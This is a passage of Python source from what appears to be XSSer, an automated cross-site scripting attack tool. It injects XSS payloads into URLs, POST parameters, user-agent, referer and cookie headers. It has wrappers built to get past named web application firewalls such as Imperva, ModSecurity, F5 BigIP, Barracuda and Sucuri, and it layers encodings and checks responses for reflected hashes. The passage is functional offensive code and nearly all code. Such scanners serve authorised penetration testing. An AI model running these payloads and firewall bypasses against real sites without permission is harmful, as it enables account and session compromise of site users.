  588. sys.exit(2)
  589. else:
  590. pass
  591. def get_url_payload(self, url, payload, query_string, user_attack_payload):
  592. """
  593. Attack the given url within the given payload
  594. """
  595. options = self.options
  596. self._ongoing_attacks = {}
  597. if (self.options.xsa or self.options.xsr or self.options.coo):
  598. agent, referer, cookie = self._prepare_extra_attacks(payload)
  599. else:
  600. agents = [] # user-agents
  601. try:
  602. f = open("core/fuzzing/user-agents.txt").readlines() # set path for user-agents
  603. except:
  604. f = open("fuzzing/user-agents.txt").readlines() # set path for user-agents when testing
  605. for line in f:
  606. agents.append(line)
  607. agent = random.choice(agents).strip() # set random user-agent
  608. referer = "127.0.0.1"
  609. cookie = None
  610. if options.agent:
  611. agent = options.agent
  612. else:
  613. self.options.agent = agent
  614. if options.referer:
  615. referer = options.referer
  616. else:
  617. self.options.referer = referer
  618. if options.cookie: # set formatted by user cookies
  619. cookie = options.cookie
  620. else:
  621. self.options.cookie = cookie
  622. # get payload/vector
  623. payload_string = payload['payload'].strip()
  624. ### Anti-antiXSS exploits
  625. # PHPIDS (>0.6.5) [ALL] -> 32*payload + payload
  626. if options.phpids065:
  627. payload_string = 32*payload_string + payload_string
  628. # PHPIDS (>0.7) [ALL] -> payload: 'svg-onload' (23/04/2016)
  629. if options.phpids070:
  630. payload_string = '<svg+onload=+"'+payload_string+'">'
  631. # Imperva Incapsula [ALL] -> payload: 'img onerror' + payload[DoubleURL+HTML+Unicode] 18/02/2016
  632. if options.imperva:
  633. payload_string = '<img src=x onerror="'+payload_string+'">'
  634. # WebKnight (>4.1) [Chrome] payload: 'details ontoggle' 18/02/2016
  635. if options.webknight:
  636. payload_string = '<details ontoggle='+payload_string+'>'
  637. # F5BigIP [Chrome+FF+Opera] payload: 'onwheel' 18/02/2016
  638. if options.f5bigip:
  639. payload_string = '<body style="height:1000px" onwheel="'+payload_string+'">'
  640. # Barracuda WAF [ALL] payload: 'onwheel' 18/02/2016
  641. if options.barracuda:
  642. payload_string = '<body style="height:1000px" onwheel="'+payload_string+'">'
  643. # Apache / modsec [ALL] payload: special 18/02/2016
  644. if options.modsec:
  645. payload_string = '<b/%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%36%35mouseover='+payload_string+'>'
  646. # QuickDefense [Chrome] payload: 'ontoggle' + payload[Unicode] 18/02/2016
  647. if options.quickdefense:
  648. payload_string = '<details ontoggle="'+payload_string+'">'
  649. # SucuriWAF [ALL] payload: 'ontoggle' + payload[Unicode] 18/02/2016
  650. if options.sucuri:
  651. payload_string = '<a+id="a"href=javascript%26colon;alert%26lpar;'+payload_string+'%26rpar;+id="a" style=width:100%25;height:100%25;position:fixed;left:0;top:0 x>Y</a>'
  652. # Firefox 12 (and below) # 09/2019
  653. if options.firefox:
  654. payload_string = "<script type ='text/javascript'>"+payload_string+"</script>"
  655. # Chrome 19 (and below, but also Firefox 12 and below) # 09/2019
  656. if options.chrome:
  657. payload_string = "<script>/*///*/"+payload_string+"</script>"
  658. # Internet Explorer 9 (but also Firefox 12 and below) # 09/2019
  659. if options.iexplorer:
  660. payload_string = 'cooki1%3dvalue1;%0d%0aX-XSS-Protection:0%0d%0a%0d%0a<html><body><script>'+payload_string+'</script></body></html>'
  661. # Opera 10.6 (but also IE6) # 09/2019
  662. if options.opera:
  663. payload_string = "<Table background = javascript: alert ("+payload_string+")> </ table>"
  664. # Substitute the attacking hash
  665. if 'PAYLOAD' in payload_string or 'VECTOR' in payload_string:
  666. payload_string = payload_string.replace('PAYLOAD', self.DEFAULT_XSS_PAYLOAD)
  667. payload_string = payload_string.replace('VECTOR', self.DEFAULT_XSS_PAYLOAD)
  668. hashed_payload = payload_string
  669. # Imperva
  670. if options.imperva:
  671. hashed_payload = urllib.parse.urlencode({'':hashed_payload})
  672. hashed_payload = urllib.parse.urlencode({'':hashed_payload}) #DoubleURL encoding
  673. hashed_payload = cgi.escape(hashed_payload) # + HTML encoding
  674. hashed_payload = str(hashed_payload) # + Unicode
  675. # Quick Defense
  676. if options.quickdefense:
  677. hashed_payload = str(hashed_payload) # + Unicode
  678. # apply user final attack url payload
  679. if user_attack_payload:
  680. hashed_vector_url = self.encoding_permutations(user_attack_payload)
  681. else:
  682. hashed_vector_url = self.encoding_permutations(hashed_payload)
  683. # replace special payload string also for extra attacks
  684. if self.extra_hashed_injections:
  685. hashed_payload = hashed_payload.replace('XSS', 'PAYLOAD')
  686. for k, v in self.extra_hashed_injections.items():
  687. if v[1] in hashed_payload:
  688. self.extra_hashed_vector_url[k] = v[0], hashed_payload
  689. self.extra_hashed_injections = self.extra_hashed_vector_url
  690. if not options.getdata: # using GET as a single input (-u)
  691. target_url = url
  692. else:
  693. if not url.endswith("/") and not options.getdata.startswith("/"):
  694. url = url + "/"
  695. target_url = url + options.getdata
  696. if not options.dom:
  697. p_uri = urlparse(target_url, allow_fragments=False) # not fragments keyword '#' allowed
  698. else:
  699. p_uri = urlparse(target_url, allow_fragments=True)
  700. uri = p_uri.netloc
  701. path = p_uri.path
  702. if not uri.endswith('/') and not path.startswith('/'):
  703. uri = uri + "/"
  704. if self.options.target or self.options.crawling: # for audit entire target allows target without 'XSS/X1S' keyword
  705. if not "XSS" in target_url:
  706. if not target_url.endswith("/"):
  707. target_url = target_url + "/XSS"
  708. else:
  709. target_url = target_url + "XSS"
  710. target_params = parse_qs(urlparse(target_url).query, keep_blank_values=True)
  711. if self.options.script:
  712. if not 'XSS' in self.options.script and not self.options.crawling: # 'XSS' keyword used to change PAYLOAD at target_params
  713. self.not_keyword_exit()
  714. if not target_params and not options.postdata:
  715. if not self.options.xsa and not self.options.xsr and not self.options.coo: # extra attacks payloads
  716. if not 'XSS' in target_url and not 'X1S' in target_url and not self.options.crawling: # not any payloader found!
  717. self.not_keyword_exit()
  718. else: # keyword found at target url (ex: https://target.com/XSS)
  719. if 'XSS' in target_url:
  720. url_orig_hash = self.generate_hash('url') # new hash for each parameter with an injection
  721. elif 'X1S' in target_url:
  722. url_orig_hash = self.generate_numeric_hash() # new hash for each parameter with an injection
  723. hashed_payload = payload_string.replace('XSS', url_orig_hash)
  724. if "[B64]" in hashed_payload: # [DCP Injection]
  725. dcp_payload = hashed_payload.split("[B64]")[1]
  726. dcp_preload = hashed_payload.split("[B64]")[0]
  727. dcp_payload = b64encode(dcp_payload)
  728. hashed_payload = dcp_preload + dcp_payload
  729. self.hashed_injections[url_orig_hash] = target_url
  730. if user_attack_payload:
  731. pass
  732. else:
  733. hashed_vector_url = self.encoding_permutations(hashed_payload)
  734. target_params[''] = hashed_vector_url # special target_param when XSS only at target_url
  735. target_url_params = urllib.parse.urlencode(target_params)
  736. if not uri.endswith('/') and not path.startswith('/'):
  737. uri = uri + "/"
  738. if path.endswith('/'):
  739. path = path.replace('/',"")
  740. if not options.getdata:
  741. dest_url = url
  742. else:
  743. dest_url = url + options.getdata
  744. if not "XSS" in dest_url:
  745. dest_url = dest_url + hashed_vector_url
  746. else:
  747. if 'XSS' in dest_url:
  748. dest_url = dest_url.replace('XSS', hashed_vector_url)
  749. if 'X1S' in dest_url:
  750. dest_url = dest_url.replace('X1S', hashed_vector_url)
  751. else:
  752. if 'XSS' in target_url:
  753. url_orig_hash = self.generate_hash('url') # new hash for each parameter with an injection
  754. elif 'X1S' in target_url:
  755. url_orig_hash = self.generate_numeric_hash() # new hash for each parameter with an injection
  756. hashed_payload = payload_string.replace('XSS', url_orig_hash)
  757. if "[B64]" in hashed_payload: # [DCP Injection]
  758. dcp_payload = hashed_payload.split("[B64]")[1]
  759. dcp_preload = hashed_payload.split("[B64]")[0]
  760. dcp_payload = b64encode(dcp_payload)
  761. hashed_payload = dcp_preload + dcp_payload
  762. self.hashed_injections[url_orig_hash] = target_url
  763. if user_attack_payload:
  764. pass
  765. else:
  766. hashed_vector_url = self.encoding_permutations(hashed_payload)
  767. target_params[''] = hashed_vector_url # special target_param when XSS only at target_url
  768. target_url_params = urllib.parse.urlencode(target_params)
  769. if not uri.endswith('/') and not path.startswith('/'):
  770. uri = uri + "/"
  771. dest_url = p_uri.scheme + "://" + uri + path
  772. if 'XSS' in dest_url:
  773. dest_url = dest_url.replace('XSS', hashed_vector_url)
  774. if 'X1S' in dest_url:
  775. dest_url = dest_url.replace('X1S', hashed_vector_url)
  776. dest_url = p_uri.scheme + "://" + uri + path + "?" + target_url_params
  777. else:
  778. if not options.postdata:
  779. r = 0
  780. for key, value in target_params.items(): # parse params searching for keywords
  781. for v in value:
  782. if v == 'XSS' or v == 'X1S': # user input keywords where inject a payload
  783. if v == 'XSS':
  784. url_orig_hash = self.generate_hash('url') # new hash for each parameter with an injection
  785. elif v == 'X1S':
  786. url_orig_hash = self.generate_numeric_hash() # new hash for each parameter with an injection
  787. hashed_payload = payload_string.replace('XSS', url_orig_hash)
  788. if "[B64]" in hashed_payload: # [DCP Injection]
  789. dcp_payload = hashed_payload.split("[B64]")[1]
  790. dcp_preload = hashed_payload.split("[B64]")[0]
  791. dcp_payload = b64encode(dcp_payload)
  792. hashed_payload = dcp_preload + dcp_payload
  793. self.hashed_injections[url_orig_hash] = key
  794. if user_attack_payload:
  795. pass
  796. else:
  797. hashed_vector_url = self.encoding_permutations(hashed_payload)
  798. target_params[key] = hashed_vector_url
  799. r = r + 1
  800. else:
  801. if self.options.xsa or self.options.xsr or self.options.coo:
  802. url_orig_hash = self.generate_hash('url') # new hash for each parameter with an injection
  803. self.hashed_injections[url_orig_hash] = key
  804. target_params[key] = v
  805. r = r + 1
  806. else:
  807. target_params[key] = v
  808. if r == 0 and not self.options.xsa and not self.options.xsr and not self.options.coo and not self.options.crawling:
  809. self.not_keyword_exit()
  810. payload_url = query_string.strip() + hashed_vector_url
  811. target_url_params = urllib.parse.urlencode(target_params)
  812. dest_url = p_uri.scheme + "://" + uri + path + "?" + target_url_params
  813. else: # using POST provided by parameter (-p)
  814. target_params = parse_qs(query_string, keep_blank_values=True)
  815. r = 0
  816. for key, value in target_params.items(): # parse params searching for keywords
  817. for v in value:
  818. if v == 'XSS' or v == 'X1S': # user input keywords where inject a payload
  819. if v == 'XSS':
  820. url_orig_hash = self.generate_hash('url') # new hash for each parameter with an injection
  821. elif v == 'X1S':
  822. url_orig_hash = self.generate_numeric_hash() # new hash for each parameter with an injection
  823. hashed_payload = payload_string.replace('XSS', url_orig_hash)
  824. if "[B64]" in hashed_payload: # [DCP Injection]
  825. dcp_payload = hashed_payload.split("[B64]")[1]
  826. dcp_preload = hashed_payload.split("[B64]")[0]
  827. dcp_payload = b64encode(dcp_payload)
  828. hashed_payload = dcp_preload + dcp_payload
  829. self.hashed_injections[url_orig_hash] = key
  830. if user_attack_payload:
  831. pass
  832. else:
  833. hashed_vector_url = self.encoding_permutations(hashed_payload)
  834. target_params[key] = hashed_vector_url
  835. r = r + 1
  836. else:
  837. if self.options.xsa or self.options.xsr or self.options.coo:
  838. url_orig_hash = self.generate_hash('url') # new hash for each parameter with an injection
  839. self.hashed_injections[url_orig_hash] = key
  840. target_params[key] = v
  841. r = r + 1
  842. else:
  843. target_params[key] = v
  844. if r == 0 and not self.options.xsa and not self.options.xsr and not self.options.coo and not self.options.crawling:
  845. self.not_keyword_exit()
  846. target_url_params = urllib.parse.urlencode(target_params)
  847. dest_url = target_url_params
  848. self._ongoing_attacks['url'] = url_orig_hash
  849. if payload['browser'] == "[Document Object Model Injection]": # url decoding/unquote DOM payloads to execute url #fragments
  850. dest_url = urllib.parse.unquote(dest_url)
  851. return dest_url, agent, referer, cookie
  852. def attack_url_payload(self, url, payload, query_string):
  853. if not self.pool:
  854. pool = self.mothership.pool
  855. else:
  856. pool = self.pool
  857. c = Curl()
  858. if self.options.headers: # add extra headers
  859. headers = self.options.headers
  860. else:
  861. headers = None
  862. if self.options.getdata or not self.options.postdata:
  863. dest_url, agent, referer, cookie = self.get_url_payload(url, payload, query_string, None)
  864. def _cb(request, result):
  865. self.finish_attack_url_payload(c, request, result, payload,
  866. query_string, url, dest_url)
  867. _error_cb = self.error_attack_url_payload
  868. def _error_cb(request, error):
  869. self.error_attack_url_payload(c, url, request, error)
  870. c.agent = agent
  871. c.referer = referer
  872. c.cookie = cookie
  873. if " " in dest_url: # parse blank spaces
  874. dest_url = dest_url.replace(" ", "+")
  875. pool.addRequest(c.get, [[dest_url, headers]], _cb, _error_cb)
  876. self._ongoing_requests += 1
  877. if self.options.postdata:
  878. dest_url, agent, referer, cookie = self.get_url_payload("", payload, query_string, None)
  879. def _cb(request, result):
  880. self.finish_attack_url_payload(c, request, result, payload,
  881. query_string, url, dest_url)
  882. _error_cb = self.error_attack_url_payload
  883. def _error_cb(request, error):
  884. self.error_attack_url_payload(c, url, request, error)
  885. dest_url = dest_url.strip().replace("/", "", 1)
  886. c.agent = agent
  887. c.referer = referer
  888. c.cookie = cookie
  889. pool.addRequest(c.post, [[url, dest_url, headers]], _cb, _error_cb)
  890. self._ongoing_requests += 1
  891. def error_attack_url_payload(self, c, url, request, error):
  892. self._ongoing_requests -= 1
  893. for reporter in self._reporters:
  894. reporter.mosquito_crashed(url, str(error[0]))
  895. dest_url = request.args[0]
  896. self.report("[Error] Failed attempt (URL Malformed!?): " + url + "\n")
  897. self.urlmalformed = True
  898. if self.urlmalformed == True and self.urlspoll[0] == url:
  899. self.land()
  900. if DEBUG == True:
  901. self.report(str(error[0]))
  902. traceback.print_tb(error[2])
  903. c.close()
  904. del c
  905. return
  906. def finish_attack_url_payload(self, c, request, result, payload,
  907. query_string, url, dest_url):
  908. self.round_complete = self.round_complete + 1
  909. self.report("="*75)
  910. self.report("[*] Test: [ "+str(self.round_complete)+"/"+str(self.rounds)+" ] <-> "+str(self.time))
  911. self.report("="*75)
  912. self.report("\n[+] Target: \n\n [ "+ str(url) + " ]\n")
  913. self._ongoing_requests -= 1
  914. # adding constant head check number flag
  915. if self.options.isalive:
  916. self.flag_isalive_num = int(self.options.isalive)
  917. if not self.options.isalive:
  918. pass
  919. elif self.options.isalive and not self.options.nohead:
  920. self.errors_isalive = self.errors_isalive + 1
  921. if self.errors_isalive > self.options.isalive:
  922. pass
  923. else:
  924. self.report("---------------------")
  925. self.report("Alive Checker for: " + url + " - [", self.errors_isalive, "/", self.options.isalive, "]\n")
  926. if self.next_isalive == True:
  927. hc = Curl()
  928. self.next_isalive = False
  929. try:
  930. urls = hc.do_head_check([url])
  931. except:
  932. print("[Error] Target url: (" + url + ") is unaccesible!" + " [DISCARDED]" + "\n")
  933. self.errors_isalive = 0
  934. return
  935. if str(hc.info()["http-code"]) in ["200", "302", "301", "401"]:
  936. print("HEAD alive check: OK" + "(" + hc.info()["http-code"] + ")\n")
  937. print("- Your target still Alive: " + "(" + url + ")")
  938. print("- If you are receiving continuous 404 errors requests on your injections but your target is alive is because:\n")
  939. print(" - your injections are failing: normal :-)")
  940. print(" - maybe exists some IPS/NIDS/... systems blocking your requests!\n")
  941. else:
  942. if str(hc.info()["http-code"]) == "0":
  943. print("\n[Error] Target url: (" + url + ") is unaccesible!" + " [DISCARDED]" + "\n")
  944. else:
  945. print("HEAD alive check: FAILED" + "(" + hc.info()["http-code"] + ")\n")
  946. print("- Your target " + "(" + url + ")" + " looks that is NOT alive")
  947. print("- If you are receiving continuous 404 errors requests on payloads\n and this HEAD pre-check request is giving you another 404\n maybe is because; target is down, url malformed, something is blocking you...\n- If you haven't more than one target then try to; STOP THIS TEST!!\n")
  948. self.errors_isalive = 0
  949. else:
  950. if str(self.errors_isalive) >= str(self.options.isalive):
  951. self.report("---------------------")
  952. self.report("\nAlive System: XSSer is checking if your target still alive. [Waiting for reply...]\n")
  953. self.next_isalive = True
  954. self.options.isalive = self.flag_isalive_num
  955. else:
  956. if self.options.isalive and self.options.nohead:
  957. self.report("---------------------")
  958. self.report("Alive System DISABLED!: XSSer is using a pre-check HEAD request per target by default to perform better accurance on tests\nIt will check if target is alive before inject all the payloads. try (--no-head) with (--alive <num>) to control this checker limit manually")
  959. self.report("---------------------")
  960. # check results an alternative url, choosing method and parameters, or not
  961. if self.options.altm == None or self.options.altm not in ["GET", "POST", "post"]:
  962. self.options.altm = "GET"
  963. if self.options.altm == "post":
  964. self.options.altm = "POST"
  965. if self.options.alt == None:
  966. pass
  967. else:
  968. self.report("="*45)
  969. self.report("\n[+] Checking Response Options:", "\n")
  970. self.report("[+] Url:", self.options.alt)
  971. self.report("[-] Method:", self.options.altm)
  972. if self.options.ald:
  973. self.report("[-] Parameter(s):", self.options.ald, "\n")
  974. else:
  975. self.report("[-] Parameter(s):", query_string, "\n")
  976. if c.info()["http-code"] in ["200", "302", "301"]:
  977. if self.options.statistics:
  978. self.success_connection = self.success_connection + 1
  979. self._report_attack_success(c, dest_url, payload,
  980. query_string, url)
  981. else:
  982. self._report_attack_failure(c, dest_url, payload,
  983. query_string, url)
  984. # checking response results
  985. if self.options.alt == None:
  986. pass
  987. else:
  988. self.report("="*45)
  989. self.report("\n[+] Checking Response Results:", "\n")
  990. url_orig_hash = self._ongoing_attacks['url']
  991. self.report("Searching using", self.options.altm, "for:", url_orig_hash, "on alternative url\n")
  992. if 'PAYLOAD' in payload['payload']:
  993. user_attack_payload = payload['payload'].replace('PAYLOAD', url_orig_hash)
  994. if 'XSS' in payload['payload']:
  995. user_attack_payload = payload['payload'].replace('XSS', url_orig_hash)
  996. if 'X1S' in payload['payload']:
  997. user_attack_payload = payload['payload'].replace('X1S', url_orig_hash)
  998. if self.options.ald:
  999. query_string = self.options.ald
  1000. if "VECTOR" in self.options.alt:
  1001. dest_url = self.options.alt
  1002. else:
  1003. if not dest_url.endswith("/"):
  1004. dest_url = dest_url + "/"
  1005. if self.options.altm == 'POST':
  1006. dest_url = "" + query_string + user_attack_payload
  1007. dest_url = dest_url.strip().replace("/", "", 1)
  1008. data = c.post(url, dest_url)
  1009. else:
  1010. dest_url = self.options.alt + query_string + user_attack_payload
  1011. c.get(dest_url)
  1012. # perform check response injection
  1013. if c.info()["http-code"] in ["200", "302", "301"]:
  1014. if self.options.statistics:
  1015. self.success_connection = self.success_connection + 1
  1016. self._report_attack_success(c, dest_url, payload,
  1017. query_string, url)
  1018. else:
  1019. self._report_attack_failure(c, dest_url, payload,
  1020. query_string, url)
  1021. c.close()
  1022. del c
  1023. def encoding_permutations(self, enpayload_url):
  1024. """
  1025. perform encoding permutations on the url and query_string.
  1026. """
  1027. options = self.options
  1028. if options.Cem:
  1029. enc_perm = options.Cem.split(",")
  1030. for _enc in enc_perm:
  1031. enpayload_url = self.encmap[_enc](enpayload_url)
  1032. else:
  1033. for enctype in list(self.encmap.keys()):
  1034. if getattr(options, enctype):
  1035. enpayload_url = self.encmap[enctype](enpayload_url)
  1036. return enpayload_url
  1037. def _report_attack_success(self, curl_handle, dest_url, payload,\
  1038. query_string, orig_url):
  1039. """
  1040. report connection success when attacking
  1041. """
  1042. if not orig_url in self.successful_urls:
  1043. self.successful_urls.append(orig_url)
  1044. options = self.options
  1045. current_hashes = [] # to check for ongoing hashes
  1046. if payload['browser'] == "[Heuristic test]":
  1047. for key, value in self.hashed_injections.items():
  1048. if str(key) in dest_url:
  1049. if key not in current_hashes:
  1050. self.final_hashes[key] = value
  1051. current_hashes.append(key)
  1052. elif self.options.hash:
  1053. for key, value in self.hashed_injections.items():
  1054. self.final_hashes[key] = value
  1055. current_hashes.append(key)
  1056. else:
  1057. self.report("-"*45)
  1058. self.report("\n[!] Hashing: \n")
  1059. for key, value in self.hashed_injections.items():
  1060. if str(key) in dest_url:
  1061. if key not in current_hashes:
  1062. self.report(" [ " +key+" ] : [" , value + " ]")
  1063. self.final_hashes[key] = value
  1064. current_hashes.append(key)
  1065. else:
  1066. if payload["browser"] == "[Data Control Protocol Injection]": # [DCP Injection]
  1067. b64_string = payload["payload"].split("[B64]")
  1068. b64_string = b64_string[1]
  1069. b64_string = b64_string.replace('PAYLOAD', key)
  1070. b64_string = b64encode(b64_string)
  1071. b64_string = urllib.parse.urlencode({'':b64_string})
  1072. if b64_string.startswith("="):
  1073. b64_string = b64_string.replace("=", "")
  1074. if str(b64_string) in str(dest_url):
  1075. if key not in current_hashes:
  1076. self.report(" [ " +key+" ] : [" , value + " ]")
  1077. self.final_hashes[key] = value
  1078. current_hashes.append(key)
  1079. else: # when using encoders (Str, Hex, Dec...)
  1080. if "PAYLOAD" in payload["payload"]:
  1081. payload_string = payload["payload"].replace("PAYLOAD", key)
  1082. elif "VECTOR" in payload["payload"]:
  1083. payload_string = payload["payload"].replace("VECTOR", key)
  1084. elif "XSS" in payload["payload"]:
  1085. payload_string = payload["payload"].replace("XSS", key)
  1086. elif "X1S" in payload["payload"]:
  1087. payload_string = payload["payload"].replace("X1S", key)
  1088. if key not in current_hashes:
  1089. self.report(" [ " +key+" ] : [" , value + " ]")
  1090. self.final_hashes[key] = value
  1091. current_hashes.append(key)
  1092. hashed_payload = self.encoding_permutations(payload_string)
  1093. if self.options.Cem:
  1094. enc_perm = options.Cem.split(",")
  1095. for e in enc_perm:
  1096. hashed_payload = self.encoding_permutations(payload_string)
  1097. if e == "Str":
  1098. hashed_payload = hashed_payload.replace(",", "%2C")
  1099. if e == "Mix":
  1100. hashed_payload=urllib.parse.quote(hashed_payload)
  1101. if e == "Dec":
  1102. hashed_payload = hashed_payload.replace("&#", "%26%23")
  1103. if e == "Hex":
  1104. hashed_payload = hashed_payload.replace("%", "%25")
  1105. if e == "Hes":
  1106. hashed_payload = hashed_payload.replace("&#", "%26%23")
  1107. hashed_payload = hashed_payload.replace(";", "%3B")
  1108. else:
  1109. if self.options.Str:
  1110. hashed_payload = hashed_payload.replace(",", "%2C")
  1111. if self.options.Mix:
  1112. hashed_payload=urllib.parse.quote(hashed_payload)
  1113. if self.options.Dec:
  1114. hashed_payload = hashed_payload.replace("&#", "%26%23")
  1115. if self.options.Hex:
  1116. hashed_payload = hashed_payload.replace("%", "%25")
  1117. if self.options.Hes:
  1118. hashed_payload = hashed_payload.replace("&#", "%26%23")
  1119. hashed_payload = hashed_payload.replace(";", "%3B")
  1120. if str(hashed_payload) in str(dest_url):
  1121. if key not in current_hashes:
  1122. self.report(" [ " +key+" ] : [" , value + " ]")
  1123. self.final_hashes[key] = value
  1124. if self.extra_hashed_injections:
  1125. for k, v in self.extra_hashed_injections.items():
  1126. payload_url = str(v[1])
  1127. if payload_url == payload["payload"]:
  1128. if k not in current_hashes:
  1129. self.report(" [ " +k+" ] : [" , v[0] + " ]")
  1130. self.final_hashes[k] = v[0]
  1131. current_hashes.append(k)
  1132. self.report("\n"+"-"*45+"\n")
  1133. if payload['browser'] == "[Heuristic test]":
  1134. self.report("[+] Checking: " + str(payload['payload']).strip('XSS'), "\n")
  1135. else:
  1136. if self.extra_hashed_injections:
  1137. extra_attacks=[]
  1138. if options.xsa:
  1139. extra_attacks.append("XSA")
  1140. if options.xsr:
  1141. extra_attacks.append("XSR")
  1142. if options.coo:
  1143. extra_attacks.append("COO")
  1144. if extra_attacks:
  1145. extra_attacks = "+ "+ str(extra_attacks)
  1146. if options.postdata:
  1147. self.report("[*] Trying: " + extra_attacks + "\n\n" + orig_url.strip(), "(POST:", query_string + ") \n")
  1148. else:
  1149. self.report("[*] Trying: " + extra_attacks + "\n\n" + dest_url.strip()+"\n")
  1150. else:
  1151. if options.postdata:
  1152. self.report("[*] Trying: \n\n" + orig_url.strip(), "(POST:", query_string + ")\n")
  1153. else:
  1154. self.report("[*] Trying: \n\n" + dest_url.strip()+"\n")
  1155. if not self.options.hash and not self.options.script:
  1156. if not "XSS" in dest_url or not "X1S" in dest_url and self.options.xsa or self.options.xsr or self.options.coo:
  1157. pass
  1158. else:
  1159. self.report("-"*45)
  1160. if payload['browser'] == "[Heuristic test]" or payload['browser'] == "[hashed_precheck_system]" or payload['browser'] == "[manual_injection]":
  1161. pass
  1162. else:
  1163. if not "XSS" in dest_url or not "X1S" in dest_url:
  1164. if self.options.xsa or self.options.xsr or self.options.coo:
  1165. pass
  1166. else:
  1167. self.report("-"*45)
  1168. self.report("\n[+] Vulnerable(s): \n\n " + payload['browser'] + "\n")
  1169. if not self.options.verbose:
  1170. self.report("-"*45 + "\n")
  1171. else:
  1172. self.report("-"*45)
  1173. self.report("\n[+] Vulnerable(s): \n\n " + payload['browser'] + "\n")
  1174. if not self.options.verbose:
  1175. self.report("-"*45 + "\n")
  1176. # statistics injections counters
  1177. if payload['browser']=="[hashed_precheck_system]" or payload['browser']=="[Heuristic test]":
  1178. self.check_positives = self.check_positives + 1
  1179. elif payload['browser']=="[Data Control Protocol Injection]":
  1180. self.dcp_injection = self.dcp_injection + 1
  1181. elif payload['browser']=="[Document Object Model Injection]":
  1182. self.dom_injection = self.dom_injection + 1
  1183. elif payload['browser']=="[Induced Injection]":
  1184. self.httpsr_injection = self.httpsr_injection + 1
  1185. elif payload['browser']=="[manual_injection]":
  1186. self.manual_injection = self.manual_injection + 1
  1187. else:
  1188. self.auto_injection = self.auto_injection +1
  1189. if not self.hashed_injections:
  1190. for k, v in self.extra_hashed_injections.items():
  1191. if k in current_hashes:
  1192. if v[0] == "XSA":
  1193. agent = v[1]
  1194. agent = agent.replace("PAYLOAD", k)
  1195. Curl.agent = agent
  1196. if v[0] == "XSR":
  1197. referer = v[1]
  1198. referer = referer.replace("PAYLOAD", k)
  1199. Curl.referer = referer
  1200. if v[0] == "COO":
  1201. cookie = v[1]
  1202. cookie = cookie.replace("PAYLOAD", k)
  1203. Curl.cookie = cookie
  1204. else:
  1205. for key, value in self.hashed_injections.items():
  1206. for k, v in self.extra_hashed_injections.items():
  1207. payload_url = v[1]
  1208. payload_url = payload_url.replace("PAYLOAD",key)
  1209. payload_url = payload_url.replace(" ", "+") # black magic!
  1210. final_dest_url = str(urllib.parse.unquote(dest_url.strip()))
  1211. if payload_url in final_dest_url:
  1212. if v[0] == "XSA":
  1213. agent = v[1]
  1214. agent = agent.replace("PAYLOAD", k)
  1215. Curl.agent = agent
  1216. if v[0] == "XSR":
  1217. referer = v[1]
  1218. referer = referer.replace("PAYLOAD", k)
  1219. Curl.referer = referer
  1220. if v[0] == "COO":
  1221. cookie = v[1]
  1222. cookie = cookie.replace("PAYLOAD", k)
  1223. Curl.cookie = cookie
  1224. else:
  1225. if k in current_hashes:
  1226. if v[0] == "XSA":
  1227. agent = v[1]
  1228. agent = agent.replace("PAYLOAD", k)
  1229. Curl.agent = agent
  1230. if v[0] == "XSR":
  1231. referer = v[1]
  1232. referer = referer.replace("PAYLOAD", k)
  1233. Curl.referer = referer
  1234. if v[0] == "COO":
  1235. cookie = v[1]
  1236. cookie = cookie.replace("PAYLOAD", k)
  1237. Curl.cookie = cookie
  1238. if options.verbose:
  1239. self.report("-"*45)
  1240. self.report("\n[+] HTTP Headers Verbose:\n")
  1241. self.report(" [Client Request]")
  1242. Curl.print_options()
  1243. self.report(" [Server Reply]\n")
  1244. self.report(curl_handle.info())
  1245. self.report("="*45)
  1246. self.report("[*] Injection(s) Results:")
  1247. self.report("="*45 + "\n")
  1248. if payload['browser']=="[Heuristic test]":
  1249. for key, value in self.final_hashes.items():
  1250. if str(key) in dest_url:
  1251. heuristic_string = key
  1252. heuristic_param = str(payload['payload']).strip('XSS')
  1253. # checking heuristic responses
  1254. if heuristic_string in curl_handle.body():
  1255. # ascii
  1256. if heuristic_param == "\\":
  1257. self.heuris_backslash_found = self.heuris_backslash_found + 1
  1258. # / same as ASCII and Unicode
  1259. elif heuristic_param == "/":
  1260. self.heuris_slash_found = self.heuris_slash_found + 1
  1261. self.heuris_une_slash_found = self.heuris_une_slash_found + 1
  1262. elif heuristic_param == ">":
  1263. self.heuris_mayor_found = self.heuris_mayor_found + 1
  1264. elif heuristic_param == "<":
  1265. self.heuris_minor_found = self.heuris_minor_found + 1
  1266. elif heuristic_param == ";":
  1267. self.heuris_semicolon_found = self.heuris_semicolon_found + 1
  1268. elif heuristic_param == "'":
  1269. self.heuris_colon_found = self.heuris_colon_found + 1
  1270. elif heuristic_param == '"':
  1271. self.heuris_doublecolon_found = self.heuris_doublecolon_found + 1
  1272. elif heuristic_param == "=":
  1273. self.heuris_equal_found = self.heuris_equal_found + 1
  1274. # une
  1275. elif heuristic_param == "%5C":
  1276. self.heuris_une_backslash_found = self.heuris_une_backslash_found + 1
  1277. elif heuristic_param == "%3E":
  1278. self.heuris_une_mayor_found = self.heuris_une_mayor_found + 1
  1279. elif heuristic_param == "%3C":
  1280. self.heuris_une_minor_found = self.heuris_une_minor_found + 1
  1281. elif heuristic_param == "%3B":
  1282. self.heuris_une_semicolon_found = self.heuris_une_semicolon_found + 1
  1283. elif heuristic_param == "%27":
  1284. self.heuris_une_colon_found = self.heuris_une_colon_found + 1
  1285. elif heuristic_param == "%22":
  1286. self.heuris_une_doublecolon_found = self.heuris_une_doublecolon_found + 1
  1287. elif heuristic_param == "%3D":
  1288. self.heuris_une_equal_found = self.heuris_une_equal_found + 1
  1289. # dec
  1290. elif heuristic_param == "&#92":
  1291. self.heuris_dec_backslash_found = self.heuris_dec_backslash_found + 1
  1292. elif heuristic_param == "&#47":
  1293. self.heuris_dec_slash_found = self.heuris_dec_slash_found + 1
  1294. elif heuristic_param == "&#62":
  1295. self.heuris_dec_mayor_found = self.heuris_dec_mayor_found + 1
  1296. elif heuristic_param == "&#60":
  1297. self.heuris_dec_minor_found = self.heuris_dec_minor_found + 1
  1298. elif heuristic_param == "&#59":
  1299. self.heuris_dec_semicolon_found = self.heuris_dec_semicolon_found + 1
  1300. elif heuristic_param == "&#39":
  1301. self.heuris_dec_colon_found = self.heuris_dec_colon_found + 1
  1302. elif heuristic_param == "&#34":
  1303. self.heuris_dec_doublecolon_found = self.heuris_dec_doublecolon_found + 1
  1304. elif heuristic_param == "&#61":
  1305. self.heuris_dec_equal_found = self.heuris_dec_equal_found + 1
